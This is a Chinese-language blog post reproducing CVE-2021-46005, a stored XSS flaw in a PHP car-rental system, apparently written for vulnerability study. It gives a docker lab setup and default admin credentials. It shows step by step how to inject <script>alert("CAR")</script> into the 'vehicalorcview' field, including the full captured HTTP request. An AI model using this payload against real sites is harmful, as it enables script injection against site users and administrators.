在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005,本文提供一键拉起的漏洞环境,并对此漏洞进行复现,文末附一键利用Poc。
P.S. Reapoc项目 致力于提供最全的漏洞验证环境和标准化Poc,欢迎有兴趣的小伙伴共同建设。
https://github.com/cckuailong/reapoc
喜欢的同学帮忙点个star 0.0
本公众号以后的漏洞复现环境都会放到此项目中。
漏洞环境地址
https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-46005/vultarget
拉起
docker-compose build
docker-compose up -d
在线汽车租赁系统是一个 PHP 项目,它允许您处理在线预订汽车租赁。该系统使用 PHP 和 MySQL。以管理员身份登录后,您可以创建品牌并添加用于在线预订的车辆。该系统还具有推荐和联系我们页面,因此客户可以提供反馈并联系网站所有者。客户可以在网站上注册并选择他们想要租用的车辆。
1. 访问http://test.com/admin/ 并登录后台 (环境中用户名密码:admin / admin)
2.访问http://localhost/car-rental/admin/post-avehical.php
3. 填写页面上的所有详细信息。提交后,burp捕获请求并把"vehicalorcview" 参数的值更改为"<script>alert("CAR")</script>"后提交
这里是我抓到的请求,将其中的cookie字段更改后即可。
POST /OnlineCarRental/admin/post-avehical.php HTTP/1.1
Host: test.com:9202
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13786099262839578593645594965
Content-Length: 2085
Origin: http://test.com:9202
Connection: close
Referer: http://test.com:9202/OnlineCarRental/admin/post-avehical.php
Upgrade-Insecure-Requests: 1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="vehicletitle"
TestName
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="brandname"
2
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="vehicalorcview"
<script>alert("CAR")</script>
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="priceperday"
200
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="fueltype"
Diesel
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="modelyear"
2008
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="seatingcapacity"
22
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="img1"; filename="Untitled.png"
Content-Type: image/png
PNG
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="img5"; filename=""
Content-Type: application/octet-stream
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="powerdoorlocks"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="antilockbrakingsys"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="driverairbag"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="passengerairbag"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="centrallocking"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="crashcensor"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="submit"
-----------------------------13786099262839578593645594965--
4. 访问http://localhost/car-rental/ and our Payload excuted,触发XSS。
本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
今日关注福利
关注公众号后,回复 “CVE-2021-46005”,获取 一键利用Poc
原文始发于微信公众号(我不是Hacker):【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论